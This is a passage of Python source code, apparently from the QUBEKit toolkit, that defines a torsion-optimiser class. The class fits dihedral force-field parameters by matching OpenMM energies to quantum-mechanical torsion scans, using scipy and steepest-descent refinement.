# now make the scan input files\n self.qm_scan_input(scan)\n sub_run(self.cmd, shell=True)\n self.get_energy(scan)\n chdir(self.home)\n\n\n@for_all_methods(timer_logger)\nclass TorsionOptimiser:\n \"\"\"\n Torsion optimiser class used to optimise dihedral parameters with a range of methods\n\n inputs\n ---------\n weight_mm: Weight the low energy parts of the surface (not sure if it works)\n combination: Which combination rules are to be used\n use_force: Match the forces as well as the energies (not avaiable yet)\n step_size: The scipy displacement step size\n minimum error_tol: The scipy error tol\n x_tol: ?\n opt_method: The main scipy optimization method (NM: Nelder-Mead, BFGS)\n refinement_method: The stage two refinement methods\n {SP: single point energy matching, Steep: steepest decent optimizer, None: no extra refinement.}\n vn_bounds: The absolute upper limit on Vn parameters (moving past this has a heavy penalty)\n \"\"\"\n\n def __init__(self, molecule, qm_engine, config_dict, weight_mm=True, combination='opls', use_force=False, step_size=0.02,\n error_tol=1e-5, x_tol=1e-5, opt_method='BFGS', refinement_method='Steep', vn_bounds=20):\n\n # configurations\n self.qm, self.fitting, self.descriptions = config_dict[1:]\n self.l_pen = self.fitting['l_pen']\n self.t_weight = self.fitting['t_weight']\n self.combination = combination\n self.weight_mm = weight_mm\n self.step_size = step_size\n self.methods = {'NM': 'Nelder-Mead', 'BFGS': 'BFGS', None: None}\n self.method = self.methods[opt_method]\n self.error_tol = error_tol\n self.x_tol = x_tol\n self.use_Force = use_force\n self.abs_bounds = vn_bounds\n self.refinement = refinement_method\n\n # QUBEKit objects\n self.molecule = molecule\n self.qm_engine = qm_engine\n\n # TorsionOptimiser starting parameters\n # QM scan energies {(scan): [array of qm energies]}\n self.energy_dict = molecule.qm_scan_energy\n # numpy array of the current mm energies\n self.mm_energy = None\n # numpy array of the fitting iteration initial parameter energies\n self.initial_energy = None\n # numpy array of the starting parameter energies\n self.starting_energy = None\n # list of the scan keys in the order to be fit\n self.scan_order = molecule.scan_order\n # list of molecule geometries in OpenMM format list[tuple] [(x, y, z)]\n self.scan_coords = []\n # list of the dihedral starting parameters\n self.starting_params = []\n # list of all of the qm energies collected in the same order as the scan coords\n self.energy_store_qm = []\n # list of all of the coordinates sampled in the fitting\n self.coords_store = []\n # the qm optimised geometrys\n self.initial_coords = []\n self.atm_no = len(molecule.atom_names)\n # important! stores the torsion indexs in the OpenMM system and groups torsions\n self.tor_types = OrderedDict()\n # list of the qm optimised energies\n self.target_energy = None\n # the current qm energy numpy array\n self.qm_energy = None\n # the current scan key that is being fit\n self.scan = None\n # numpy array of the parameters being fit, this is a flat array even with multipule torsions\n self.param_vector = None\n # this dictionary is a copy of the molecules periodic torsion force dict\n self.torsion_store = None\n # used to work out the index of the torsions in the OpenMM system\n self.index_dict = {}\n # the loaction of the QM torsiondrive\n self.qm_local = None\n\n # OpenMM system info\n self.system = None\n self.simulation = None\n\n # constants\n self.k_b = 0.001987\n self.phases = [0, 3.141592653589793, 0, 3.141592653589793]\n self.home = getcwd()\n\n # start the OpenMM system\n self.molecule.write_pdb()\n self.rest_torsions()\n self.openmm_system()\n\n def mm_energies(self):\n \"\"\"Evaluate the MM energies of the QM structures.\"\"\"\n\n mm_energy = []\n for position in self.scan_coords:\n mm_energy.append(self.get_energy(position))\n\n return array(mm_energy)\n # get forces from the system\n # open_grad = state.getForces()\n\n @staticmethod\n def get_coords(engine):\n \"\"\"\n Read the torsion drive output file to get all of the coords in a format that can be passed to openmm\n so we can update positions in context without reloading the molecule.\n \"\"\"\n\n scan_coords = []\n if engine == 'torsiondrive':\n # open the torsion drive data file read all the scan coordinates\n with open('qdata.txt', 'r') as data:\n for line in data.readlines():\n if 'COORDS' in line:\n # get the coords into a single array\n coords = [float(x) / 10 for x in line.split()[1:]]\n # convert to a list of tuples for OpenMM format\n tups = []\n for i in range(0, len(coords), 3):\n tups.append((coords[i], coords[i + 1], coords[i + 2]))\n scan_coords.append(tups)\n\n # get the coords from a geometric output\n elif engine == 'geometric':\n with open('scan-final.xyz', 'r') as data:\n lines = data.readlines()\n # get the amount of atoms\n atoms = int(lines[0])\n for i, line in enumerate(lines):\n if 'Iteration' in line:\n # this is the start of the cordinates\n tups = []\n for coords in lines[i + 1:i + atoms + 1]:\n coord = tuple(float(x) / 10 for x in coords.split()[1:])\n # convert to a list of tuples for OpenMM format\n # store tuples\n tups.append(coord)\n # now store that structure back to the coords list\n scan_coords.append(tups)\n return scan_coords\n\n def openmm_system(self):\n \"\"\"Initialise the OpenMM system we will use to evaluate the energies.\"\"\"\n\n # Load the initial coords into the system and initialise\n self.molecule.write_pdb(input_type='input', name=self.molecule.name)\n pdb = app.PDBFile(f'{self.molecule.name}.pdb')\n forcefield = app.ForceField(f'{self.molecule.name}.xml')\n modeller = app.Modeller(pdb.topology, pdb.positions) # set the initial positions from the pdb\n self.system = forcefield.createSystem(modeller.topology, nonbondedMethod=app.NoCutoff, constraints=None)\n\n if self.combination == 'opls':\n self.opls_lj()\n\n temperature = 298.15 * unit.kelvin\n integrator = mm.LangevinIntegrator(temperature, 5 / unit.picoseconds, 0.001 * unit.picoseconds)\n\n self.simulation = app.Simulation(modeller.topology, self.system, integrator)\n self.simulation.context.setPositions(modeller.positions)\n\n def initial_energies(self):\n \"\"\"Calculate the initial energies using the input xml.\"\"\"\n\n # first we need to work out the index order the torsions are in while inside the OpenMM system\n # this order is different from the xml order\n forces = {self.simulation.system.getForce(index).__class__.__name__: self.simulation.system.getForce(index) for\n index in range(self.simulation.system.getNumForces())}\n torsion_force = forces['PeriodicTorsionForce']\n for i in range(torsion_force.getNumTorsions()):\n p1, p2, p3, p4, periodicity, phase, k = torsion_force.getTorsionParameters(i)\n torsion = (p1, p2, p3, p4)\n if torsion not in self.index_dict:\n self.index_dict[torsion] = i\n\n # Now, reset all periodic torsion terms back to their initial values\n for pos, key in enumerate(self.torsion_store):\n try:\n self.tor_types[pos] = [[key], [float(self.torsion_store[key][i][1]) for i in range(4)],\n [self.index_dict[key]]]\n except KeyError:\n try:\n self.tor_types[pos] = [[tuple(reversed(key))], [float(self.torsion_store[key][i][1]) for i in range(4)],\n [self.index_dict[tuple(reversed(key))]]]\n except KeyError:\n # after trying to match the forward and backwards strings must be improper\n self.tor_types[pos] = [[(key[1], key[2], key[0], key[3])], [float(self.torsion_store[key][i][1]) for i in range(4)],\n [self.index_dict[(key[1], key[2], key[0], key[3])]]]\n\n self.update_torsions()\n # initial is a referenceto the energy surface at the start of the fit\n self.initial_energy = deepcopy(self.mm_energies())\n # starting energy is the surface made by the original unfit parameters\n self.starting_energy = deepcopy(self.initial_energy)\n\n # Reset the dihedral values\n self.tor_types = OrderedDict()\n\n def update_tor_vec(self, x):\n \"\"\"Update the tor_types dict with the parameter vector.\"\"\"\n\n x = round(x, decimals=4)\n\n # Update the param vector for the right torsions by slicing the vector every 4 places\n for key, val in self.tor_types.items():\n val[1] = x[key * 4:key * 4 + 4]\n\n def get_energy(self, position):\n \"\"\"Return the MM calculated energy of the structure.\"\"\"\n\n # update the positions of the system\n self.simulation.context.setPositions(position)\n\n # Get the energy from the new state\n state = self.simulation.context.getState(getEnergy=True, getForces=self.use_Force)\n\n energy = float(str(state.getPotentialEnergy())[:-6])\n\n # Convert from kJ to kcal\n return energy / 4.184\n\n def objective(self, x):\n \"\"\"Return the output of the objective function.\"\"\"\n\n # Update the parameter vector into tor_types\n self.update_tor_vec(x)\n\n # Update the torsions in the Openmm system\n self.update_torsions()\n\n # Get the mm corresponding energy\n self.mm_energy = deepcopy(self.mm_energies())\n\n # Make sure the energies match\n assert len(self.qm_energy) == len(self.mm_energy)\n\n # calculate the objective\n\n # Adjust the mm energy to make it relative to the minimum structure\n mm_energy = self.mm_energy - min(self.mm_energy)\n error = (mm_energy - self.qm_energy) ** 2\n\n # if using a weighting, add that here\n if self.t_weight != 'infinity':\n error *= exp(-self.qm_energy / (self.k_b * self.t_weight))\n\n # Find the total error\n total_error = sqrt(sum(error) / len(self.scan_coords))\n\n # Calculate the penalties\n # 1 the movement away from the starting values\n move_pen = self.l_pen * sum((x - self.starting_params) ** 2)\n\n # 2 the penalty incurred by going past the bounds\n bounds_pen = sum(1 for vn in x if abs(vn) >= self.abs_bounds)\n\n total_error += move_pen + bounds_pen\n return total_error\n\n def steep_objective(self, x):\n \"\"\"Return the output of the objective function when using the steep refinment method.\"\"\"\n\n # Update the parameter vector into tor_types\n self.update_tor_vec(x)\n\n # Update the torsions\n self.update_torsions()\n\n # first drive the torsion using geometric\n self.scan_coords = self.drive_mm(engine='geometric')\n\n # Get the mm corresponding energy\n self.mm_energy = self.mm_energies()\n\n # Make sure the energies match\n assert len(self.qm_energy) == len(self.mm_energy)\n\n # calculate the objective\n\n # Adjust the mm energy to make it relative to the lowest in the scan\n self.mm_energy -= min(self.mm_energy)\n error = (self.mm_energy - self.qm_energy) ** 2\n\n # if using a weighting, add that here\n if self.t_weight != 'infinity':\n error *= exp(-self.qm_energy / (self.k_b * self.t_weight))\n\n # Find the total error\n total_error = sqrt(sum(error) / len(self.scan_coords))\n\n # Calculate the penalty\n pen = self.l_pen * sum((x - self.starting_params) ** 2)\n total_error += pen\n\n return total_error\n\n def single_point_matching(self, fitting_error, opt_parameters):\n \"\"\"A function the call the single point matching method of parameter refinement.\n\n method (fit only new generation)\n -------------------\n 1) take parameters from the initial scipy fitting.\n 2) Do a MM torsion scan with the parameters and get the rmsd error\n 3) Calculate the QM single point energies from the structures and get the energy error\n 4) Calculate the total error if not converged fit using scipy to all structures and move to step 2)\n \"\"\"\n\n converged = False\n\n # put in the objective dict\n objective = {'fitting error': [],\n 'energy error': [],\n 'rmsd': [],\n 'total': [],\n 'parameters': []}\n\n iteration = 1\n # start the main optimizer loop by calculating new single point energies\n while not converged:\n # move into the first iteration folder\n try:\n mkdir(f'Iteration_{iteration}')\n except FileExistsError:\n pass\n chdir(f'Iteration_{iteration}')\n\n # step 2 MM torsion scan\n # with wavefront propagation, returns the new set of coords these become the new scan coords\n self.scan_coords = self.drive_mm(engine='torsiondrive')\n\n # also save these coords to the coords store\n self.coords_store = deepcopy(self.coords_store + self.scan_coords)\n\n # step 3 calculate the rmsd for these structures compared to QM\n rmsd = self.rmsd(f'{self.qm_local}/scan.xyz', 'torsiondrive_scan/scan.xyz')\n\n # step 4 calculate the single point energies\n self.qm_energy = self.single_point()\n\n # Keep a copy of the energy before adjusting in case another loop is needed\n self.energy_store_qm = deepcopy(append(self.energy_store_qm, self.qm_energy))\n\n # Normalise the qm energy again using the qm reference energy\n self.qm_normalise()\n\n # calculate the energy error in step 4 (just for this scan) and get a measure of the new reference energies\n energy_error = self.objective(opt_parameters)\n # this now acts as the intial energy for the next fit\n self.initial_energy = deepcopy(self.mm_energy)\n\n # add the results to the dictionary\n objective['fitting error'].append(fitting_error)\n objective['energy error'].append(energy_error)\n objective['rmsd'].append(rmsd)\n objective['total'].append(energy_error + rmsd)\n objective['parameters'].append(opt_parameters)\n\n # now check to see if the error has converged?\n if iteration < 3:\n # if (energy_error + rmsd - objective['total'][-1]) < 0 and\\\n # abs(energy_error + rmsd - objective['total'][-1]) > 0.01:\n\n # now we don't want to move to far away from the last set of optimized parameters\n self.starting_params = opt_parameters\n # turn on the penalty\n self.l_pen = 0.01\n\n # optimise using the scipy method for the new structures with a penatly to remain close to the old\n fitting_error, opt_parameters = self.scipy_optimiser()\n\n # update the parameters in the fitting vector and the molecule for the MM scans\n self.update_tor_vec(opt_parameters)\n self.update_mol()\n\n # use the parameters to get the current energies\n self.mm_energy = deepcopy(self.mm_energies())\n\n # plot the fitting graph this iteration\n self.plot_results(name=f'SP_iter_{iteration}')\n\n # now reset the energy's\n self.qm_normalise()\n\n # move out of the folder\n chdir('../')\n\n # add 1 to the iteration\n iteration += 1\n else:\n # use the parameters to get the current energies\n self.mm_energy = deepcopy(self.mm_energies())\n # print the final iteration energy prediction\n self.plot_results(name=f'SP_iter_{iteration}')\n chdir('../')\n break\n\n # find the minimum total error index in list\n min_error = min(objective['total'])\n min_index = objective['total'].index(min_error)\n\n # gather the parameters with the lowest error, not always the last parameter set\n final_parameters = deepcopy(objective['parameters'][min_index])\n final_error = objective['total'][min_index]\n\n # now we want to see how well we have captured the initial QM energy surface\n # reset the scan coords to the initial values\n self.scan_coords = self.initial_coords\n\n # get the energy surface for these final parameters\n # this will also update the parameters in the molecule class so we can write a new xml\n # first get back the original qm energies as well\n self.qm_energy = self.energy_store_qm[:24]\n self.qm_normalise()\n # energy_error = self.objective(final_parameters)\n\n # get the starting energies back to the initial values before fitting\n self.initial_energy = self.starting_energy\n # plot the results this is a graph of the starting QM surface and how well we can remake it\n self.plot_results(name='Stage2_Single_point_fit')\n\n self.convergence_plot('final_converge', objective)\n\n return final_error, final_parameters\n\n def plot_correlation(self, name):\n \"\"\"Plot the single point energy correlation.\"\"\"\n\n # Make sure we have the same number of energy terms in the QM and MM lists\n assert len(self.qm_energy) == len(self.mm_energy)\n\n # adjust the mm_energy but do not alter\n mm_energy = self.mm_energy - min(self.mm_energy)\n\n # now we are just plotting them against each other they are already in the right order\n plt.scatter(mm_energy, self.qm_energy)\n\n plt.xlabel('Relative energy (kcal/mol) MM energy')\n plt.ylabel('Relative energy (kcal/mol) QM energy')\n plt.savefig(f'{name}.pdf')\n plt.clf()\n\n def qm_normalise(self):\n \"\"\"Normalize the qm energy to the reference energy.\"\"\"\n\n self.qm_energy -= min(self.qm_energy) # make relative to lowest energy\n self.qm_energy *= 627.509 # convert to kcal/mol\n\n def opt_test(self):\n \"\"\"\n Take optimized xml file and test the agreement with QM by doing a torsion drive and checking the single\n point energies.\n \"\"\"\n\n # move into testing folder\n mkdir('testing_opt')\n chdir('testing_opt')\n\n self.scan = self.scan_order[0]\n\n # now run the torsiondrive\n # step 2 MM torsion scan\n # with wavefront propagation, returns the new set of coords these become the new scan coords\n self.scan_coords = self.drive_mm(engine='torsiondrive')\n\n # step 4 calculate the single point energies\n self.qm_energy = self.single_point()\n\n # Normalise the qm energy again using the qm reference energy\n self.qm_normalise()\n\n # calculate the mm energy\n # use the parameters to get the current energies\n self.mm_energy = deepcopy(self.mm_energies())\n\n # for the graph\n self.initial_energy = self.mm_energy\n # now graph the energy\n self.plot_results(name='testing_opt')\n\n def run(self):\n \"\"\"\n Optimise the parameters for the chosen torsions in the molecule scan_order,\n also set up a work queue to do the single point calculations if they are needed.\n \"\"\"\n\n # Set up the first fitting\n for self.scan in self.scan_order:\n # move into the QM scan folder to get the scan coords\n chdir(f'SCAN_{self.scan[0]}_{self.scan[1]}/QM_torsiondrive')\n # keep track of the QM_torsiondrive location needed for rmsd error\n self.qm_local = getcwd()\n\n # Get the MM coords from the QM torsion drive\n self.scan_coords = self.get_coords(engine='torsiondrive')\n\n # now move to our working folder\n # make a lot of folders not nice\n # sort out errors how will this work with restarts and re-runs?\n chdir('../')\n try:\n mkdir('Optimisation')\n except FileExistsError:\n pass\n chdir('Optimisation')\n try:\n mkdir('First_fit')\n mkdir('Refinement')\n except FileExistsError:\n pass\n chdir('First_fit')\n\n # Set the target energies first\n self.target_energy = self.energy_dict[self.scan]\n\n # Adjust the QM energies\n # and store all QM raw energies\n self.energy_store_qm = deepcopy(self.target_energy)\n self.qm_energy = deepcopy(self.target_energy)\n # store the optimized qm energy and make all other energies relative to this one\n\n self.qm_normalise()\n\n # Keep the initial coords\n self.coords_store = deepcopy(self.scan_coords)\n self.initial_coords = deepcopy(self.scan_coords)\n\n # Get the initial energies\n self.initial_energies()\n\n # Get the torsions that will be fit and make the param vector\n self.get_torsion_params()\n\n # Start the main optimiser loop and get the final error and parameters back\n error, opt_parameters = self.scipy_optimiser()\n self.param_vector = opt_parameters\n\n # Push the new parameters back to the molecule parameter dictionary\n self.update_mol()\n\n # Plot the results of the first fit\n self.plot_results(name='Stage1_scipy')\n\n # move to the refinment section\n chdir('../Refinement')\n\n if self.refinement == 'SP':\n error, opt_parameters = self.single_point_matching(error, opt_parameters)\n self.param_vector = opt_parameters\n\n elif self.refinement == 'Steep':\n error, opt_parameters = self.steepest_decent_refinement(self.param_vector)\n\n # now push the parameters back to the molecule\n self.update_tor_vec(opt_parameters)\n self.update_mol()\n\n # now move back to the starting directory\n chdir(self.home)\n\n def steepest_decent_refinement(self, x):\n \"\"\"\n A steepest decent optimiser as implemented in QUBEKit-V1, which will optimise the torsion terms\n using full relaxed surface scans. SLOW!\n \"\"\"\n\n print('Starting optimisation...')\n\n # search steep sizes\n step_size = [0.1, 0.01, 0.001]\n step_index = 0\n\n # set convergence\n converged = False\n final_error = None\n final_parameters = None\n\n # start main optimizer loop\n while not converged:\n\n # when to change the step size\n un_changed = 0\n\n # for each Vn parameter in the parameter vector\n for i in range(len(x)):\n\n # error dict\n error = {}\n\n # First we need to get the initial error with a full relaxed scan\n self.scan_coords = self.drive_mm(engine='geometric')\n\n # get the starting energies and errors from the current parameter set\n normal = self.objective(x)\n\n error[normal] = x\n # make a copy of the parameter vector\n y_plus = deepcopy(x)\n\n # now make a variation on the parameter set\n y_plus[i] += step_size[step_index]\n print(f'y plus {y_plus}')\n # now find the new error\n self.scan_coords = self.drive_mm(engine='geometric')\n\n error_plus = self.objective(y_plus)\n error[error_plus] = y_plus\n\n # now make a differnt variation\n y_minus = deepcopy(x)\n y_minus[i] -= step_size[step_index]\n print(f'y minus {y_minus}')\n\n # now find the other error\n self.scan_coords = self.drive_mm(engine='geometric')\n error_minus = self.objective(y_minus)\n error[error_minus] = y_minus\n\n # now work out which has the lowest error\n min_error = min(normal, error_plus, error_minus)\n print(f'minimum error {min_error}')\n\n # now the parameter vector becomes who had the lowest error\n x = deepcopy(error[min_error])\n print(f'The new parameter vector {x}')\n\n # if the error is not changed count how many times this happens\n if min_error == normal:\n # add one to unchanged\n un_changed += 1\n\n # if all Vn have no effect then change the step size\n if un_changed == len(x) - 1:\n step_index += 1\n\n # now check to see if we have ran out steps\n if step_index >= len(step_size):\n final_parameters = deepcopy(x)\n final_error = deepcopy(min_error)\n converged = True\n\n return final_error, final_parameters\n\n def rest_torsions(self):\n \"\"\"\n Set all the torsion k values to one for every torsion in the system.\n\n Once an OpenMM system is created we cannot add new torsions without making a new PeriodicTorsion\n force every time.\n\n To get round this we have to load every k parameter into the system first; so we set every k term in the fitting\n dihedrals to 1 then reset all values to the gaff terms and update in context.\n \"\"\"\n\n # save the molecule torsions to a dict\n self.torsion_store = deepcopy(self.molecule.PeriodicTorsionForce)\n\n # Set all the torsion to 1 to get them into the system\n for key in self.molecule.PeriodicTorsionForce:\n if self.molecule.PeriodicTorsionForce[key][-1] == 'Improper':\n self.molecule.PeriodicTorsionForce[key] = [['1', '1', '0'], ['2', '1', '3.141592653589793'],\n ['3', '1', '0'], ['4', '1', '3.141592653589793'], 'Improper']\n else:\n self.molecule.PeriodicTorsionForce[key] = [['1', '1', '0'], ['2', '1', '3.141592653589793'],\n ['3', '1', '0'], ['4', '1', '3.141592653589793']]\n\n # Write out the new xml file which is read into the OpenMM system\n self.molecule.write_parameters()\n\n # Put the torsions back into the molecule\n self.molecule.PeriodicTorsionForce = deepcopy(self.torsion_store)\n\n def get_torsion_params(self):\n \"\"\"\n Get the torsions and their parameters that will scanned, work out how many different torsion types needed,\n make a vector corresponding to this size.\n \"\"\"\n\n # Get a list of which dihedrals parameters are to be varied\n # Convert to be indexed from 0\n to_fit = [(tor[0] - 1, tor[1] - 1, tor[2] - 1, tor[3] - 1) for tor in list(self.molecule.dihedrals[self.scan])]\n\n # Check which ones have the same parameters and how many torsion vectors we need\n self.tor_types = OrderedDict()\n\n i = 0\n while to_fit:\n # Get the current torsion\n torsion = to_fit.pop(0)\n\n # Get the torsions param vector used to compare to others\n # The master vector could be backwards so try one way and if keyerror try the other\n try:\n master_vector = [float(self.torsion_store[torsion][i][1]) for i in range(4)]\n except KeyError:\n torsion = torsion[::-1]\n master_vector = [float(self.torsion_store[torsion][i][1]) for i in range(4)]\n\n # Add this type to the torsion type dictionary with the right key index\n try:\n self.tor_types[i] = [[torsion], master_vector, [self.index_dict[torsion]]]\n except KeyError:\n self.tor_types[i] = [[torsion], master_vector, [self.index_dict[tuple(reversed(torsion))]]]\n\n to_remove = []\n # Iterate over what is left of the list to see what other torsions are the same as the master\n for dihedral in to_fit:\n # Again, try both directions\n try:\n vector = [float(self.torsion_store[dihedral][i][1]) for i in range(4)]\n except KeyError:\n dihedral = dihedral[::-1]\n vector = [float(self.torsion_store[dihedral][i][1]) for i in range(4)]\n\n # See if that vector is the same as the master vector\n if vector == master_vector:\n try:\n self.tor_types[i][2].append(self.index_dict[dihedral])\n self.tor_types[i][0].append(dihedral)\n except KeyError:\n self.tor_types[i][2].append(self.index_dict[tuple(reversed(dihedral))])\n self.tor_types[i][0].append(tuple(reversed(dihedral)))\n to_remove.append(dihedral)\n\n # Remove all of the dihedrals that have been matched\n for dihedral in to_remove:\n try:\n to_fit.remove(dihedral)\n except ValueError:\n to_fit.remove(dihedral[::-1])\n i += 1\n\n # now that we have grouped by param vectors we need to compare the gaff atom types that make up the torsions\n # then if they are different we need to further split the torsions\n # first construct the dictionary of type strings\n torsion_string_dict = {}\n for index, tor_info in self.tor_types.items():\n for j, torsion in enumerate(tor_info[0]):\n # get the tuple of the torsion string\n tor_tup = tuple(self.molecule.AtomTypes[torsion[i]][3] for i in range(4))\n # check if its in the torsion string dict\n try:\n torsion_string_dict[tor_tup][0].append(torsion)\n torsion_string_dict[tor_tup][2].append(tor_info[2][j])\n except KeyError:\n try:\n torsion_string_dict[tuple(reversed(tor_tup))][0].append(torsion)\n torsion_string_dict[tuple(reversed(tor_tup))][2].append(tor_info[2][j])\n except KeyError:\n torsion_string_dict[tor_tup] = [[torsion], tor_info[1], [tor_info[2][j]]]\n\n self.tor_types = OrderedDict((index, k) for index, k in enumerate(torsion_string_dict.values()))\n\n # Make the param_vector of the correct size\n self.param_vector = zeros((1, 4 * len(self.tor_types)))\n\n # now take the master vectors and make the starting parameter list\n # Store the original parameter vectors to use regularisation\n self.starting_params = [list(k)[1][i] for k in self.tor_types.values() for i in range(4)]\n\n @staticmethod\n def rmsd(qm_coords, mm_coords):\n \"\"\"\n Calculate the rmsd between the MM and QM predicted structures from the relaxed scans using pymol;\n this can be added into the penalty function.\n \"\"\"\n\n import __main__\n # Quiet and no GUI\n __main__.pymol_argv = ['pymol', '-qc']\n\n from pymol import cmd as py_cmd\n from pymol import finish_launching\n\n finish_launching()\n py_cmd.load(mm_coords, object='MM_scan')\n py_cmd.load(qm_coords, object='QM_scan')\n rmsd = py_cmd.align('MM_scan', 'QM_scan')[0]\n # Remove the objects from the pymol instance\n py_cmd.delete('MM_scan')\n py_cmd.delete('QM_scan')\n\n return rmsd\n\n def finite_difference(self, x):\n \"\"\"Compute the gradient of changing the parameter vector using central difference scheme.\"\"\"\n\n gradient = []\n for i in range(len(x)):\n x[i] += self.step_size / 2\n plus = self.objective(x)\n x[i] -= self.step_size\n minus = self.objective(x)\n diff = (plus - minus) / self.step_size\n gradient.append(diff)\n return array(gradient)\n\n def scipy_optimiser(self):\n \"\"\"The main torsion parameter optimiser that controls the optimisation method used.\"\"\"\n\n print(f'Running SciPy {self.method} optimiser ... ')\n\n if self.method == 'Nelder-Mead':\n res = minimize(self.objective, self.param_vector, method='Nelder-Mead',\n options={'xtol': self.x_tol, 'ftol': self.error_tol, 'disp': True})\n\n elif self.method == 'BFGS':\n res = minimize(self.objective, self.param_vector, method='BFGS', jac=self.finite_difference,\n options={'disp': True})\n\n else:\n raise NotImplementedError('The optimisation method is not implemented')\n\n print('SciPy optimisation complete')\n\n # Update the tor types dict using the optimised vector\n self.update_tor_vec(res.x)\n\n # return the final fitting error and final param vector after the optimisation\n return res.fun, res.x\n\n def call_force_balance(self):\n \"\"\"Call force balance to do the single point energy matching.\"\"\"\n\n pass\n\n def update_torsions(self):\n \"\"\"Update the torsions being fitted.\"\"\"\n\n forces = {self.simulation.system.getForce(index).__class__.__name__: self.simulation.system.getForce(index) for\n index in range(self.simulation.system.getNumForces())}\n torsion_force = forces['PeriodicTorsionForce']\n i = 0\n for val in self.tor_types.values():\n for j, dihedral in enumerate(val[0]):\n for v_n in range(4):\n torsion_force.setTorsionParameters(index=v_n + val[2][j],\n particle1=dihedral[0], particle2=dihedral[1],\n particle3=dihedral[2], particle4=dihedral[3],\n periodicity=v_n + 1, phase=self.phases[v_n],\n k=val[1][v_n])\n i += 1\n torsion_force.updateParametersInContext(self.simulation.context)\n\n return self.system\n\n @staticmethod\n def convergence_plot(name, objective_dict):\n \"\"\"Plot the convergence of the errors of the fitting.\"\"\"\n\n # sns.set()\n\n # this will be a plot with multipul lines showing the convergence of the errors with each iteration\n iterations = [x for x in range(len(objective_dict['total']))]\n rmsd = objective_dict['rmsd']\n fitting_error = objective_dict['fitting error']\n energy_error = objective_dict['energy error']\n total_error = objective_dict['total']\n\n plt.plot(iterations, energy_error, label='SP energy error')\n plt.plot(iterations, rmsd, label='Rmsd error')\n plt.plot(iterations, fitting_error, label='Fitting error')\n plt.plot(iterations, total_error, label='Total error')\n\n plt.ylabel('Error (kcal/mol)')\n plt.xlabel('Iteration')\n plt.legend()\n plt.savefig(f'{name}.pdf')\n plt.clf()\n\n def plot_test(self, energies):\n \"\"\"Plot the results of the fitting.\"\"\"\n\n # sns.set()\n\n # Make sure we have the same number of energy terms in the QM and MM lists\n assert len(self.qm_energy) == len(self.mm_energy)\n\n # Now adjust the MM energies\n # self.mm_energy -= min(self.mm_energy)\n # self.mm_energy /= 4.184 # convert from kj to kcal\n\n # Make the angle array\n angles = [x for x in range(-165, 195, self.qm_engine.fitting['increment'])]\n plt.plot(angles, self.qm_energy, 'o', label='QM')\n for pos, scan in enumerate(energies):\n self.mm_energy = array(scan)\n self.mm_energy -= min(self.mm_energy)\n plt.plot(angles, self.mm_energy, label=f'MM{pos}')\n plt.ylabel('Relative energy (kcal/mol')\n plt.xlabel('Dihedral angle$^{\\circ}$')\n plt.legend()\n plt.savefig('Plot.pdf')\n\n def plot_results(self, name='Plot', validate=False):\n \"\"\"Plot the results of the scan.\"\"\"\n\n # sns.set()\n\n # Make sure we have the same number of energy terms in the QM and MM lists\n assert len(self.qm_energy) == len(self.mm_energy)\n\n # Adjust the MM energies\n plot_mm_energy = self.mm_energy - min(self.mm_energy)\n\n # Adjust the initial MM energies\n initial_energy = self.initial_energy - min(self.initial_energy)\n\n # Construct the angle array\n angles = [x for x in range(-165, 195, self.qm_engine.fitting['increment'])]\n points = [x for x in range(len(self.qm_energy))] if len(self.qm_energy) > len(angles) else None\n\n if points is not None:\n # Print a table of the results for multiple plots\n print(f'Geometry QM(relative) MM(relative) MM_initial(relative)')\n for i in points:\n print(f'{i:4} {self.qm_energy[i]:15.10f} {plot_mm_energy[i]:15.10f} {initial_energy[i]:15.10f}')\n\n # Plot the qm and mm data\n plt.plot(points, self.qm_energy, 'o', label='QM')\n plt.plot(points, initial_energy, label='MM initial')\n plt.plot(points, plot_mm_energy, label=f'MM final')\n\n plt.xlabel('Geometry')\n\n else:\n # Print a table of the results\n print(f'Angle QM(relative) MM(relative) MM_initial(relative)')\n for pos, angle in enumerate(angles):\n print(\n f'{angle:4} {self.qm_energy[pos]:15.10f} {plot_mm_energy[pos]:15.10f} {initial_energy[pos]:15.10f}')\n\n plt.xlabel('Dihedral angle$^{\\circ}$')\n\n # Plot the qm and mm data\n plt.plot(angles, self.qm_energy, 'o', label='QM data')\n if not validate:\n plt.plot(angles, initial_energy, label='Starting parameters', linestyle='--')\n plt.plot(angles, plot_mm_energy, label='Final parameters')\n\n else:\n plt.plot(angles, plot_mm_energy, label='MM validate')\n\n # Label the graph and save the pdf\n plt.title(f'Relative energy surface for dihedral {self.molecule.dihedrals[self.scan][0][0]}-'\n f'{self.molecule.dihedrals[self.scan][0][1]}-'\n f'{self.molecule.dihedrals[self.scan][0][2]}-{self.molecule.dihedrals[self.scan][0][3]}')\n plt.ylabel('Relative energy (kcal/mol)')\n plt.legend(loc=1)\n plt.savefig(f'{name}.pdf')\n plt.clf()\n\n def make_constraints(self):\n \"\"\"Write a constraint file used by geometric during optimizations.\"\"\"\n\n with open('constraints.txt', 'w+')as constraint:\n constraint.write(\n f'$scan\\ndihedral {self.molecule.dihedrals[self.scan][0][0]} {self.molecule.dihedrals[self.scan][0][1]}'\n f' {self.molecule.dihedrals[self.scan][0][2]} {self.molecule.dihedrals[self.scan][0][3]} -165.0 180 24\\n')\n\n def write_dihedrals(self):\n \"\"\"Write out the torsion drive dihedral file for the current self.scan.\"\"\"\n\n with open('dihedrals.txt', 'w+') as out:\n out.write('# dihedral definition by atom indices starting from 0\\n# i j k l\\n')\n mol_di = self.molecule.dihedrals[self.scan][0]\n out.write(f' {mol_di[0]} {mol_di[1]} {mol_di[2]} {mol_di[3]}\\n')\n\n def drive_mm(self, engine):\n \"\"\"Drive the torsion again using MM to get new structures.\"\"\"\n\n # Write an xml file with the new parameters\n\n # Move into a temporary folder torsion drive gives an error if we use tempdirectory module\n temp = f'{engine}_scan'\n try:\n rmtree(temp)\n except FileNotFoundError:\n pass\n mkdir(temp)\n chdir(temp)\n\n # Write out a pdb file of the qm optimised geometry\n self.molecule.write_pdb(name='openmm')\n # Also need an xml file for the molecule to use in geometric\n self.molecule.write_parameters(name='input')\n # openmm.pdb and input.xml are the expected names for geometric\n with open('log.txt', 'w+')as log:\n if engine == 'torsiondrive':\n self.write_dihedrals()\n completed = system('torsiondrive-launch -e openmm openmm.pdb dihedrals.txt > log.txt')\n if completed == 0:\n positions = self.get_coords(engine='torsiondrive')\n elif engine == 'geometric':\n self.make_constraints()\n sub_run('geometric-optimize --reset --epsilon 0.0 --maxiter 500 --qccnv --openmm openmm.pdb constraints.txt',\n shell=True, stdout=log)\n positions = self.get_coords(engine='geometric')\n else:\n raise 